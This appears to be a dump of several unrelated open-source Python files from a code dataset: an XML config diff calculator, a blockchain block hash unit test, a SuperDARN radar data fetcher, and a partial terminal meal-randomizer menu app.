node_other.__getattribute__(x):\n return False\n if not self._same_text(node_self, node_other):\n return False\n for a in node_self.attrib:\n if a not in node_other.attrib or \\\n node_self.attrib[a] != node_other.attrib[a]:\n return False\n for child, child_other in self._pair_children(node_self, node_other):\n if child is None:\n # only in other, meaningless\n continue\n if child_other is None:\n # only in other, false\n return False\n # both are present\n schma_node = self.device.get_schema_node(child)\n ordered_by = schma_node.get('ordered-by')\n child_type = schma_node.get('type')\n if ordered_by == 'user' and (\n child_type == 'leaf-list' or\n child_type == 'list'):\n elder_siblings = list(child.itersiblings(tag=child.tag,\n preceding=True))\n if elder_siblings:\n immediate_elder_sibling = elder_siblings[0]\n peers_of_immediate_elder_sibling = \\\n self._get_peers(immediate_elder_sibling,\n node_other)\n if len(peers_of_immediate_elder_sibling) < 1:\n return False\n elif len(peers_of_immediate_elder_sibling) > 1:\n p = self.device.get_xpath(immediate_elder_sibling)\n raise ConfigError('not unique peer of node {}' \\\n .format(p))\n elder_siblings_of_peer = \\\n list(child_other.itersiblings(tag=child.tag,\n preceding=True))\n if peers_of_immediate_elder_sibling[0] not in \\\n elder_siblings_of_peer:\n return False\n if not self._node_le(child, child_other):\n return False\n\n return True\n","repo_name":"CiscoTestAutomation/ncdiff","sub_path":"src/ncdiff/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":18620,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"37"} +{"seq_id":"71981888427","text":"import hashlib\nimport json\nimport unittest\n\nfrom block import Block\n\n\nclass TestBlock(unittest.TestCase):\n def test_hash(self):\n index = 0\n timestamp = \"some_timestamp\"\n transactions = [\"transaction1\", \"transaction2\"]\n proof = 42\n previous_hash = \"some_previous_hash\"\n merkle_root = \"some_merkle_root\"\n block = Block(index, timestamp, transactions, proof, previous_hash, merkle_root)\n\n # Ensure that the hash method returns the expected value\n self.assertEqual(\n block.hash(),\n hashlib.sha256(\n json.dumps(\n {\n \"index\": 0,\n \"timestamp\": \"some_timestamp\",\n \"transactions\": [\"transaction1\", \"transaction2\"],\n \"proof\": 42,\n \"previous_hash\": \"some_previous_hash\",\n \"merkle_root\": \"some_merkle_root\",\n },\n sort_keys=True,\n ).encode()\n ).hexdigest()\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"christianhussmann/Blockchain-and-tests","sub_path":"test_block.py","file_name":"test_block.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18818662627","text":"#!/usr/bin/env python\n\n\"\"\"darndata.py: utility module to fetch fitacf level data.\"\"\"\n\n__author__ = \"Chakraborty, S.\"\n__copyright__ = \"\"\n__credits__ = []\n__license__ = \"MIT\"\n__version__ = \"1.0.\"\n__maintainer__ = \"Chakraborty, S.\"\n__email__ = \"shibaji7@vt.edu\"\n__status__ = \"Research\"\n\nimport bz2\nimport datetime as dt\nimport glob\nimport os\n\nimport numpy as np\nimport pandas as pd\nimport pydarn\nfrom loguru import logger\nfrom tqdm import tqdm\n\n\nclass Beam(object):\n \"\"\"Class to hold one beam object\"\"\"\n\n def __init__(self):\n \"\"\"initialize the instance\"\"\"\n return\n\n def set(\n self,\n time,\n d,\n s_params=[\"bmnum\", \"noise.sky\", \"tfreq\", \"scan\", \"nrang\"],\n v_params=[\"v\", \"w_l\", \"gflg\", \"p_l\", \"slist\", \"v_e\"],\n k=None,\n ):\n \"\"\"\n Set all parameters\n time: datetime of beam\n d: data dict for other parameters\n s_param: other scalar params\n v_params: other list params\n \"\"\"\n for p in s_params:\n if p in d.keys():\n if p == \"scan\" and d[p] != 0:\n setattr(self, p, 1)\n else:\n setattr(self, p, d[p]) if k is None else setattr(self, p, d[p][k])\n else:\n setattr(self, p, None)\n for p in v_params:\n if p in d.keys():\n setattr(self, p, d[p])\n else:\n setattr(self, p, [])\n self.time = time\n return\n\n def copy(self, bm):\n \"\"\"Copy all parameters\"\"\"\n for p in bm.__dict__.keys():\n setattr(self, p, getattr(bm, p))\n return\n\n\nclass Scan(object):\n \"\"\"Class to hold one scan (multiple beams)\"\"\"\n\n def __init__(self, stime=None, etime=None):\n \"\"\"\n initialize the parameters which will be stored\n stime: start time of scan\n etime: end time of scan\n \"\"\"\n self.stime = stime\n self.etime = etime\n self.beams = []\n return\n\n def update_time(self):\n \"\"\"\n Update stime and etime of the scan.\n up: Update average parameters if True\n \"\"\"\n self.stime = min([b.time for b in self.beams])\n self.etime = max([b.time for b in self.beams])\n self.scan_time = (self.etime - self.stime).total_seconds()\n return\n\n\nclass FetchData(object):\n \"\"\"Class to fetch data from fitacf files for one radar for atleast a day\"\"\"\n\n def __init__(\n self,\n rad,\n date_range,\n ftype=\"fitacf\",\n files=None,\n verbose=True,\n regex=\"/sd-data/{year}/{ftype}/{rad}/{date}.*{ftype}*.bz2\",\n ):\n \"\"\"\n initialize the vars\n rad = radar code\n date_range = [ start_date, end_date ]\n files = List of files to load the data from\n e.x : rad = \"sas\"\n date_range = [\n datetime.datetime(2017,3,17),\n datetime.datetime(2017,3,18),\n ]\n \"\"\"\n self.rad = rad\n self.date_range = date_range\n self.files = files\n self.verbose = verbose\n self.regex = regex\n self.ftype = ftype\n if (rad is not None) and (date_range is not None) and (len(date_range) == 2):\n self._create_files()\n self.s_params = [\n \"bmnum\",\n \"noise.sky\",\n \"tfreq\",\n \"scan\",\n \"nrang\",\n \"intt.sc\",\n \"intt.us\",\n \"mppul\",\n \"rsep\",\n \"cp\",\n \"frang\",\n \"smsep\",\n \"lagfr\",\n \"channel\",\n \"mplgs\",\n \"nave\",\n \"noise.search\",\n \"mplgexs\",\n \"xcf\",\n \"noise.mean\",\n \"ifmode\",\n \"bmazm\",\n \"rxrise\",\n \"mpinc\",\n ]\n self.v_params = [\"v\", \"w_l\", \"gflg\", \"p_l\", \"slist\"]\n self.hdw_data = pydarn.read_hdw_file(self.rad)\n self.lats, self.lons = pydarn.Coords.GEOGRAPHIC(self.hdw_data.stid)\n return\n\n def _create_files(self):\n \"\"\"\n Create file names from date and radar code\n \"\"\"\n if self.files is None:\n self.files = []\n reg_ex = self.regex\n days = (self.date_range[1] - self.date_range[0]).days + 2\n ent = -1\n for d in range(-1, days):\n e = self.date_range[0] + dt.timedelta(days=d)\n fnames = sorted(\n glob.glob(\n reg_ex.format(\n year=e.year,\n rad=self.rad,\n ftype=self.ftype,\n date=e.strftime(\"%Y%m%d\"),\n )\n )\n )\n for fname in fnames:\n tm = fname.split(\".\")[1]\n sc = fname.split(\".\")[2]\n dus = dt.datetime.strptime(\n fname.split(\".\")[0].split(\"/\")[-1] + tm + sc, \"%Y%m%d%H%M%S\"\n )\n due = dus + dt.timedelta(hours=2)\n if (ent == -1) and (dus <= self.date_range[0] <= due):\n ent = 0\n if ent == 0:\n self.files.append(fname)\n if (ent == 0) and (dus <= self.date_range[1] <= due):\n ent = -1\n return\n\n def _parse_data(self, data, s_params, v_params, by):\n \"\"\"\n Parse data by data type\n data: list of data dict\n params: parameter list to fetch\n by: sort data by beam or scan\n \"\"\"\n _b, _s = [], []\n if self.verbose:\n logger.info(\"Started converting to beam data.\")\n for d in data:\n time = dt.datetime(\n d[\"time.yr\"],\n d[\"time.mo\"],\n d[\"time.dy\"],\n d[\"time.hr\"],\n d[\"time.mt\"],\n d[\"time.sc\"],\n d[\"time.us\"],\n )\n if time >= self.date_range[0] and time <= self.date_range[1]:\n bm = Beam()\n bm.set(time, d, s_params, v_params)\n _b.append(bm)\n if self.verbose:\n logger.info(\"Converted to beam data.\")\n if by == \"scan\":\n if self.verbose:\n logger.info(\"Started converting to scan data.\")\n scan, sc = 0, Scan(None, None)\n sc.beams.append(_b[0])\n for _ix, d in enumerate(_b[1:]):\n if d.scan == 1 and d.time != _b[_ix].time:\n sc.update_time()\n _s.append(sc)\n sc = Scan(None, None)\n sc.beams.append(d)\n else:\n sc.beams.append(d)\n _s.append(sc)\n if self.verbose:\n logger.info(\"Converted to scan data.\")\n return _b, _s, True\n\n def convert_to_pandas(\n self,\n beams,\n ):\n \"\"\"\n Convert the beam data into dataframe\n \"\"\"\n if \"time\" not in self.s_params:\n self.s_params.append(\"time\")\n _o = dict(\n zip(\n self.s_params + self.v_params,\n ([] for _ in self.s_params + self.v_params),\n )\n )\n for b in beams:\n l = len(getattr(b, \"slist\"))\n for p in self.v_params:\n _o[p].extend(getattr(b, p))\n for p in self.s_params:\n _o[p].extend([getattr(b, p)] * l)\n L = len(_o[\"slist\"])\n for p in self.s_params + self.v_params:\n if len(_o[p]) < L:\n l = len(_o[p])\n _o[p].extend([np.nan] * (L - l))\n return pd.DataFrame.from_records(_o)\n\n def scans_to_pandas(\n self,\n scans,\n start_scnum=0,\n ):\n \"\"\"\n Convert the scan data into dataframe\n \"\"\"\n if \"time\" not in self.s_params:\n self.s_params.append(\"time\")\n _o = dict(\n zip(\n self.s_params + self.v_params + [\"scnum\"],\n ([] for _ in self.s_params + self.v_params + [\"scnum\"]),\n )\n )\n echoes = []\n for idn, s in enumerate(scans):\n for b in s.beams:\n l = len(getattr(b, \"slist\"))\n for p in self.v_params:\n _o[p].extend(getattr(b, p))\n for p in self.s_params:\n _o[p].extend([getattr(b, p)] * l)\n _o[\"scnum\"].extend([idn + start_scnum] * l)\n eRec = {\n \"time\": getattr(b, \"time\"),\n \"bmnum\": getattr(b, \"bmnum\"),\n \"eCount\": len(getattr(b, \"slist\")) if hasattr(b, \"slist\") else 0,\n }\n echoes.append(eRec)\n L = len(_o[\"slist\"])\n for p in self.s_params + self.v_params:\n if len(_o[p]) < L:\n l = len(_o[p])\n _o[p].extend([np.nan] * (L - l))\n o, e = pd.DataFrame.from_records(_o), pd.DataFrame.from_records(echoes)\n o = o[o.slist <= 75]\n return o, e\n\n def __get_location__(self, row):\n \"\"\"\n Get locations\n \"\"\"\n lat, lon, dtime = (\n self.lats[row[\"slist\"], row[\"bmnum\"]],\n self.lons[row[\"slist\"], row[\"bmnum\"]],\n row[\"time\"],\n )\n row[\"glat\"], row[\"glon\"] = lat, lon\n return row\n\n def pandas_to_beams(\n self,\n df,\n ):\n if \"time\" not in self.s_params:\n self.s_params.append(\"time\")\n \"\"\"\n Convert the dataframe to beam\n \"\"\"\n beams = []\n for bm in np.unique(df.bmnum):\n o = df[df.bmnum == bm]\n d = o.to_dict(orient=\"list\")\n for p in self.s_params:\n d[p] = d[p][0]\n b = Beam()\n b.set(o.time.tolist()[0], d, self.s_params, self.v_params)\n beams.append(b)\n return beams\n\n def pandas_to_scans(\n self,\n df,\n ):\n \"\"\"\n Convert the dataframe to scans\n \"\"\"\n if \"time\" not in self.s_params:\n self.s_params.append(\"time\")\n scans = []\n for sn in np.unique(df.scnum):\n o = df[df.scnum == sn]\n beams = self.pandas_to_beams(o)\n sc = Scan(None, None)\n sc.beams.extend(beams)\n sc.update_time()\n scans.append(sc)\n return scans\n\n def fetch_data(\n self,\n by=\"beam\",\n ):\n \"\"\"\n Fetch data from file list and return the dataset\n params: parameter list to fetch\n by: sort data by beam or scan\n \"\"\"\n data = []\n for f in self.files:\n with bz2.open(f) as fp:\n fs = fp.read()\n if self.verbose:\n logger.info(f\"File:{f}\")\n reader = pydarn.SuperDARNRead(fs, True)\n records = reader.read_fitacf()\n data += records\n if (by is not None) and (len(data) > 0):\n data = self._parse_data(data, self.s_params, self.v_params, by)\n return data\n else:\n return (None, None, False)\n\n @staticmethod\n def fetch(base, rads, date_range, ftype=\"fitacf\", files=None, verbose=True):\n \"\"\"\n Static method to fetch datasets\n \"\"\"\n tqdm.pandas()\n os.makedirs(base, exist_ok=True)\n fds = {}\n for rad in rads:\n file, efile = os.path.join(f\"{base}{rad}.csv\"), os.path.join(\n f\"{base}e{rad}.csv\"\n )\n logger.info(f\"Load file: {file}\")\n fd = FetchData(rad, date_range, ftype, files, verbose)\n if os.path.exists(file):\n fd.records = pd.read_csv(file, parse_dates=[\"time\"])\n fd.echoRecords = pd.read_csv(efile, parse_dates=[\"time\"])\n logger.info(f\"Data length {rad}: {len(fd.records)}\")\n fd.scans = fd.pandas_to_scans(fd.records)\n logger.info(f\"# Scans {rad}: {len(fd.scans)}\")\n else:\n _, scans, data_exists = fd.fetch_data(by=\"scan\")\n if data_exists:\n scan_time = scans[0].scan_time\n fd.records, fd.echoRecords = fd.scans_to_pandas(scans)\n logger.info(f\"Data length {rad}: {len(fd.records)}\")\n if len(fd.records) > 0:\n fd.records[\"srange\"] = fd.records.frang + (\n fd.records.slist * fd.records.rsep\n )\n fd.records[\"intt\"] = (\n fd.records[\"intt.sc\"] + 1.0e-6 * fd.records[\"intt.us\"]\n )\n fd.records = fd.records.progress_apply(\n fd.__get_location__, axis=1\n )\n fd.records[\"scan_time\"] = scan_time\n fd.records.to_csv(file, index=False, header=True)\n fd.echoRecords.to_csv(efile, index=False, header=True)\n else:\n logger.info(f\"Data does not exists: {rad}!\")\n fds[rad] = fd\n return fds\n\n def extract_stagging_data(self, start, end):\n \"\"\"\n Extracting staging dataset\n \"\"\"\n o = self.records.copy()\n o = o[(o.time >= start) & (o.time <= end)]\n etc = dict(\n rad=self.rad,\n v_max=o.v.max(),\n v_min=o.v.min(),\n v_emd=o.v.median(),\n v_mean=o.v.mean(),\n )\n return etc\n","repo_name":"shibaji7/magnetic_crochet","sub_path":"py/fetch/darn.py","file_name":"darn.py","file_ext":"py","file_size_in_byte":13606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37869304342","text":"#!/usr/bin/python3.4\n# -*-coding:Utf-8 -*\n'''Element base object'''\nimport os, re, subprocess, shutil\nfrom math import ceil\nfrom XML import XML\nfrom random import randint\n\nclass Element:\n\t'''Element base object'''\n\t\n\tdef __init__(self,\n\t\t\t\t\tname = 'Main',\n\t\t\t\t\tcoef = 1,\n\t\t\t\t\tkind = 'group'\n\t\t\t\t\t):\n\t\t'''initialize Element'''\n\t\t# name and kind of element\n\t\tself.name = name\n\t\tself.kind = kind # group, dishes, dish, variant or ingredient\n\t\t\n\t\tself.description = ''\n\t\tself.recipe = False\n\t\tself.ingredients = []\n\t\tself.extra = []\n\t\tself.accompaniments = []\n\t\tself.related = []\n\t\t\n\t\t\n\t\t# montly coefficient\n\t\tif ( type(coef) == int ):\n\t\t\tself.coef = [coef]*12\n\t\telse:\n\t\t\tl=len(coef) \n\t\t\tif l == 12 :\n\t\t\t\tself.coef = coef\n\t\t\telif l in [ 6, 4, 3, 2 ]:\n\t\t\t\tl = int(12 / l)\n\t\t\t\tself.coef = []\n\t\t\t\twhile ( len(coef) != 0 ):\n\t\t\t\t\tself.coef.extend( [ coef.pop(0) ] * l )\n\t\t\n\t\t# array of sub element\n\t\tself.sub = []\n\t\n\t\n\t\n\t\n\tdef getName(self):\n\t\t'''return name (for sorting method)'''\n\t\treturn self.name\n\t\n\t\n\t\n\t\n\tdef menu(self, main = None, path = '', parent = None ):\n\t\t'''Element/group menu'''\n\t\tpage = 0\n\t\t\n\t\tif main is None:\n\t\t\tmain = self\n\t\t\n\t\tif self.name != 'Main':\n\t\t\tif path == '':\n\t\t\t\tpath = self.name\n\t\t\telse:\n\t\t\t\tpath += '|'+self.name\n\t\t\n\t\t# quit flag \n\t\t#\t\t(\n\t\t#\t\tsave and quit app,\n\t\t#\t\tquit app without saving,\n\t\t#\t\treturn to main menu\n\t\t#\t\t)\n\t\tquit = ( False, False, False )\n\t\t\n\t\twhile(True):\n\t\t\tos.system('clear')# clear terminal output\n\t\t\t\n\t\t\tmaxPage = ceil(len(self.sub) / 15)-1\n\t\t\tif (page > maxPage):\n\t\t\t\tpage = max ( 0, maxPage )\n\t\t\t\n\t\t\tself.print(page, main.month)\n\t\t\t\n\t\t\tmenu = input('your move ? (h for help):').strip()\n\t\t\t\n\t\t\tif(menu.lower() in ['exit', 'o', 'out', 'q', 'quit']):\n\t\t\t\tif(self.name == 'Main'):\n\t\t\t\t\tif(self.save()):\n\t\t\t\t\t\treturn\n\t\t\t\t\telse:\n\t\t\t\t\t\tif( input('Quit confirmation (type y or yes):').strip().lower() in [ 'y', 'yes' ] ):\n\t\t\t\t\t\t\treturn\n\t\t\t\telif( menu[0].isupper() ):\n\t\t\t\t\treturn ( True, False, False )\n\t\t\t\telse:\n\t\t\t\t\treturn ( False, False, False )\n\t\t\t\t\n\t\t\telif(menu == 'SAFE'):\n\t\t\t\treturn ( False, True, False )\n\t\t\t\t\n\t\t\telif(menu.lower() in ['m', 'main'] and self.name != 'Main'):\n\t\t\t\treturn ( False, False, True )\n\t\t\t\t\n\t\t\telif(menu.lower() in ['help', 'h']):\n\t\t\t\t\n\t\t\t\tif(self.name == 'Main'):\n\t\t\t\t\tquitHelp = '''\nq or quit Quit the app (automatically save before)\nSAFE Quit the app WITHOUT saving'''\n\t\t\t\telse:\n\t\t\t\t\tquitHelp = '''\nq or quit Quit the menu\nQ or Quit Quit the app (automatically save before)\nSAFE Quit the app WITHOUT saving\nm or main Return to the main menu'''\n\t\t\t\t\n\t\t\t\tprint('''Help:\n\nIn menu:\nType: To:\nm or month change month to use for coefficient for randomization\n< or - Previous 15 elements of the list\n> or + Next 15 elements of the list\nempty input Same thing, back to first page when out of range\nn or new in a group, create a group or a dish group\n in a dish group, create a dish\n in a dish, create a variant\nname edit current element name\nc or coef edit current element coefficients\nd N or delete N Delete sub element with index N\nd 0 1 2 3 Delete each sub element listed (0 1 2 and 3)\n\nin a dish or variant:\nn or new Add an ingredient (in variant only)\ni or ingredient access ingredients menu\ne or extra access extra ingredients menu\na or accompaniment access accompaniments menu\ns or suggest access suggested meal menu\nrecipe read/edit dish recipe\ndelete recipe to delete recipe of this variant\n\nrandom function: (don't work in variant)\nThose function randomly choose a sub element, using there coefficient for the current working month. It start from the current element.\nR or RANDOM randomly choose one of the sub element\nr N or random N randomly and recursivly choose an element, with N as level limit\nr or random randomly and recursivly choose an element without level limit\n\neditor Change the default text editor (used to edit recipe)\nh or help Get some help'''+quitHelp)\n\t\t\t\t\n\t\t\t\tinput('Press enter to continue')\n\t\t\telif ( menu.lower() == 'editor' ):\n\t\t\t\teditor = input('''current editor: «'''+main.editor+'''».\ntype the command to your editor:''').strip()\n\t\t\t\t\n\t\t\t\tif(editor != ''):\n\t\t\t\t\tmain.editor = editor\n\t\t\t\t\n\t\t\telif ( menu in [ '-', '<' ] ):\n\t\t\t\tif page > 0:\n\t\t\t\t\tpage -= 1\n\t\t\telif (menu in [ '', '+', '>' ] ):\n\t\t\t\tmaxPage = ceil(len(self.sub) / 15)-1\n\t\t\t\t\n\t\t\t\tif(page < maxPage):\n\t\t\t\t\tpage += 1\n\t\t\t\telif( menu == ''):\n\t\t\t\t\tpage = 0\n\t\t\t\telse:\n\t\t\t\t\tpage = maxPage\n\t\t\t\t\n\t\t\telif(menu.lower() in [ 'm', 'month' ] ):\n\t\t\t\tmain.changeMonth()\n\t\t\t\t\n\t\t\telif(menu.lower() in [ 'c', 'coef' ] and self.name != 'Main'):\n\t\t\t\tself.editCoef()\n\t\t\t\t\n\t\t\telif( menu.lower() == 'name' ):\n\t\t\t\tif self.name!= 'Main':\n\t\t\t\t\tpath = self.editName( parent, main, path )\n\t\t\t\telse:\n\t\t\t\t\tinput('«Main» menu can\\'t be renamed. (Press enter to continue)')\n\t\t\t\t\n\t\t\telif(menu.lower() in [ 'n', 'new' ] ):\n\t\t\t\tself.add()\n\t\t\t\tself.sub.sort( key = Element.getName )\n\t\t\t\t\n\t\t\telif (menu.lower() == 'desc'):\n\t\t\t\tself.editDescription()\n\t\t\t\t\n\t\t\telif menu.lower() in [ 'r', 'random' ]\\\n\t\t\t\t\tor menu.lower().startswith('r ')\\\n\t\t\t\t\tor menu.lower().startswith('random ') :\n\t\t\t\tif len(self.sub)==0:\n\t\t\t\t\tinput('Foodomize can\\'t propose you any sub element from «'+self.name+'»: there is none.')\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# get depth\n\t\t\t\tif menu in [ 'r', 'random' ]:\n\t\t\t\t\tdepth = 0\n\t\t\t\telif menu in [ 'R', 'RANDOM' ]:\n\t\t\t\t\tdepth = 1\n\t\t\t\telse:\n\t\t\t\t\tif menu.lower().startswith('r '):\n\t\t\t\t\t\tdepth = menu[2:]\n\t\t\t\t\telse:\n\t\t\t\t\t\tdepth = menu[7:]\n\t\t\t\t\t\n\t\t\t\t\t# try to convert to int\n\t\t\t\t\ttry:\n\t\t\t\t\t\tdepth = int( depth )\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\tprint('Error: «'+depth+'» can\\'t be convert into an integer')\n\t\t\t\t\t\tinput('press enter to continue')\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t\t# check the value is valid\n\t\t\t\t\tif depth <= 0:\n\t\t\t\t\t\tprint('Error: you must specify a positive integer.')\n\t\t\t\t\t\tinput('press enter to continue')\n\t\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tself.random( path, depth, main )\n\t\t\t\t\n\t\t\telif menu.startswith('delete ') or menu.startswith('d ') :\n\t\t\t\tif menu.startswith('delete '):\n\t\t\t\t\ti = menu[7:].split(' ')\n\t\t\t\telse:\n\t\t\t\t\ti = menu[2:].split(' ')\n\t\t\t\t\n\t\t\t\t# get sub element index\n\t\t\t\ttry:\n\t\t\t\t\tindex = []\n\t\t\t\t\tfor el in i:\n\t\t\t\t\t\tif el != '':\n\t\t\t\t\t\t\tindex.append( int( el ) )\n\t\t\t\t\t\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tprint('Error: «'+el+'» is not an integer')\n\t\t\t\t\tinput('press enter to continue')\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# erase index duplicate values\n\t\t\t\tindex = list( set( index ) )\n\t\t\t\t\n\t\t\t\t# check index is in the range\n\t\t\t\terror = False\n\t\t\t\tnames = []\n\t\t\t\tfor i in index:\n\t\t\t\t\tif i >= len(self.sub) or i < 0:\n\t\t\t\t\t\tinput('No sub element with index '+str(i)+'. press enter to continue.')\n\t\t\t\t\t\terror = True\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tnames.append(self.sub[i].name)\n\t\t\t\tif error:\n\t\t\t\t\tcontinue\n\t\t\t\tnames = ', '.join(names)\n\t\t\t\t\n\t\t\t\t# ask to confirm\n\t\t\t\tif input('Do you realy want to delete «'+names\\\n\t\t\t\t\t\t+'» element and their sub element?(type «y» or «yes» to confirm or anything else to cancel)'\\\n\t\t\t\t\t\t).lower() not in [ 'y', 'yes']:\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# erase each accompaniments\n\t\t\t\tindex.sort(reverse=True)\n\t\t\t\tfor i in index:\n\t\t\t\t\tself.sub[i].erase( path, main )\n\t\t\t\t\tself.sub.pop(i)\n\t\t\t\t\n\t\t\telif self.kind in ['variant', 'dish'] \\\n\t\t\t\t\t\tand menu.lower() in [ 'i', 'ingredient', 'e', 'extra', \n\t\t\t\t\t\t\t\t\t'a', 'accompaniment', 's', 'suggest', 'recipe',\n\t\t\t\t\t\t\t\t\t'delete recipe'] :\n\t\t\t\tmenu = menu.lower()\n\t\t\t\tif( menu in [ 'i', 'ingredient' ] ):\n\t\t\t\t\tquit = self.manageIngredient()\n\t\t\t\t\t\n\t\t\t\telif( menu in [ 'e', 'extra' ] ):\n\t\t\t\t\tquit = self.manageExtra()\n\t\t\t\t\t\n\t\t\t\telif( menu in [ 'a', 'accompaniment' ] ):\n\t\t\t\t\tquit = self.manageAccompaniment()\n\t\t\t\t\t\n\t\t\t\telif( menu in [ 's', 'suggest' ] ):\n\t\t\t\t\tquit = self.manageRelatedMeal( main, path )\n\t\t\t\t\t\n\t\t\t\telif( menu == 'recipe'):\n\t\t\t\t\t# run editor to see and modify recipe\n\t\t\t\t\ttry:\n\t\t\t\t\t\t# get recipes directory path or create it\n\t\t\t\t\t\trecipePath = os.path.realpath(__file__+'/../recipes')\n\t\t\t\t\t\tif not os.path.exists(recipePath):\n\t\t\t\t\t\t\tos.mkdir(recipePath)\n\t\t\t\t\t\t\n\t\t\t\t\t\trecipePath += '/'+path\n\t\t\t\t\t\t\n\t\t\t\t\t\tsubprocess.call([main.editor, recipePath])\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\tprint(e)\n\t\t\t\t\t\tinput('press enter to ignore this error and continue')\n\t\t\t\t\t\n\t\t\t\t\t#check there is a saved file for the recipe\n\t\t\t\t\tif os.path.exists(recipePath):\n\t\t\t\t\t\tself.recipe = True\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.recipe = False\n\t\t\t\t\t\n\t\t\t\telif( menu == 'delete recipe' and self.recipe):\n\t\t\t\t\tif input('Do you realy want to erase this recipe (type y or yes):')\\\n\t\t\t\t\t\t\tnot in ['y', 'yes']:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t\ttry:\n\t\t\t\t\t\t# get recipes directory path\n\t\t\t\t\t\trecipePath = os.path.realpath(__file__+'/../recipes')+'/'+path\n\t\t\t\t\t\t\n\t\t\t\t\t\t# delete element recipe\n\t\t\t\t\t\tif os.path.exists(recipePath):\n\t\t\t\t\t\t\tos.remove(recipePath)\n\t\t\t\t\t\t\n\t\t\t\t\t\tself.recipe = False\n\t\t\t\t\t\t\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\tprint(e)\n\t\t\t\t\t\tinput('press enter to ignore this error and continue')\n\t\t\t\t\t\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\tmenu = int(menu)\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\tif menu < len( self.sub ) and menu > -1:\n\t\t\t\t\tquit = self.sub[menu].menu( main, path, self )\n\t\t\t\t\tself.sub.sort( key = Element.getName )\n\t\t\tif(quit[0] is True):\n\t\t\t\tif self.name != 'Main':\n\t\t\t\t\treturn quit\n\t\t\t\telse:\n\t\t\t\t\t# save before to quit\n\t\t\t\t\tif(self.save()):\n\t\t\t\t\t\treturn quit\n\t\t\t\t\telse:\n\t\t\t\t\t\tif( input('Quit confirmation (type y or yes):').strip().lower() in [ 'y', 'yes' ] ):\n\t\t\t\t\t\t\treturn quit\n\t\t\telif(quit[1] is True):\n\t\t\t\treturn quit\n\t\t\telif(quit[2] is True and self.name != 'Main'):\n\t\t\t\treturn quit\n\t\n\t\n\t\n\t\n\t\n\tdef random( self, rootPath, limit, main ):\n\t\t'''randomly sub element'''\n\t\t# check if there is a limit\n\t\tnoLimit = ( limit == 0 )\n\t\tmonth = main.month - 1\n\t\troot = self.name\n\t\t\n\t\t# random loop\n\t\tagain = True\n\t\twhile again:\n\t\t\tlevel = self\n\t\t\ti = 0\n\t\t\tpath = rootPath\n\t\t\t\n\t\t\t# random level loop\n\t\t\twhile( ( noLimit or i < limit ) and len(level.sub) > 0 ):\n\t\t\t\t# get coefficient sum\n\t\t\t\tcoefSum = 0\n\t\t\t\tfor el in level.sub:\n\t\t\t\t\tcoefSum += el.coef[ month ]\n\t\t\t\t\n\t\t\t\t# get random value\n\t\t\t\tr = randint( 1, coefSum )\n\t\t\t\t\n\t\t\t\t# get the selected sub element\n\t\t\t\tfor el in level.sub:\n\t\t\t\t\tr -= el.coef[ month ]\n\t\t\t\t\tif r <= 0:\n\t\t\t\t\t\tlevel = el\n\t\t\t\t\t\t\n\t\t\t\t\t\t# compile the path\n\t\t\t\t\t\tif path == '':\n\t\t\t\t\t\t\tpath += el.name\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tpath += '|'+el.name\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak\n\t\t\t\t\n\t\t\t\ti += 1\n\t\t\t\n\t\t\tagain = level.randomMenu( path, root, main )\n\t\n\t\n\t\n\t\n\t\n\tdef randomMenu( self, path, root, main ):\n\t\t'''random menu to display info about randomly choosen element'''\n\t\tmonth = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'][main.month - 1]\n\t\t\n\t\t\n\t\t# get ingredients list\n\t\tingredients = ''\n\t\tif len(self.ingredients)>0:\n\t\t\tfor ing in self.ingredients:\n\t\t\t\tif ing[1]=='':\n\t\t\t\t\tingredients += ing[0]+', '\n\t\t\t\telse:\n\t\t\t\t\tingredients += ing[0]+' ('+ing[1]+'), '\n\t\t\t\n\t\t\tingredients = ingredients[ 0 : -2 ]\n\t\tif len(ingredients) > 500:\n\t\t\tshortIngredients = ingredients[0:499]+'…'\n\t\telse:\n\t\t\tshortIngredients = ingredients\n\t\t\n\t\t# get extra ingredients list\n\t\textra = ''\n\t\tif len(self.extra)>0:\n\t\t\tfor ing in self.extra:\n\t\t\t\tif ing[1]=='':\n\t\t\t\t\textra += ing[0]+', '\n\t\t\t\telse:\n\t\t\t\t\textra += ing[0]+' ('+ing[1]+'), '\n\t\t\t\n\t\t\textra = extra[ 0 : -2 ]\n\t\tif len(extra) > 500:\n\t\t\tshortExtra = extra[0:499]+'…'\n\t\telse:\n\t\t\tshortExtra = extra\n\t\t\n\t\t\n\t\t# get accompaniments list\n\t\taccompaniments = ''\n\t\tif len(self.accompaniments)>0:\n\t\t\tfor acc in self.accompaniments:\n\t\t\t\taccompaniments += acc+', '\n\t\t\t\t\n\t\t\t\n\t\t\taccompaniments = accompaniments[ 0 : -2 ]\n\t\tif len(accompaniments) > 500:\n\t\t\tshortAccompaniments = accompaniments[0:499]+'…'\n\t\telse:\n\t\t\tshortAccompaniments = accompaniments\n\t\t\n\t\t\n\t\t# get related meal list\n\t\trelated = ''\n\t\tif len(self.related)>0:\n\t\t\tfor rel in self.related:\n\t\t\t\trelated += 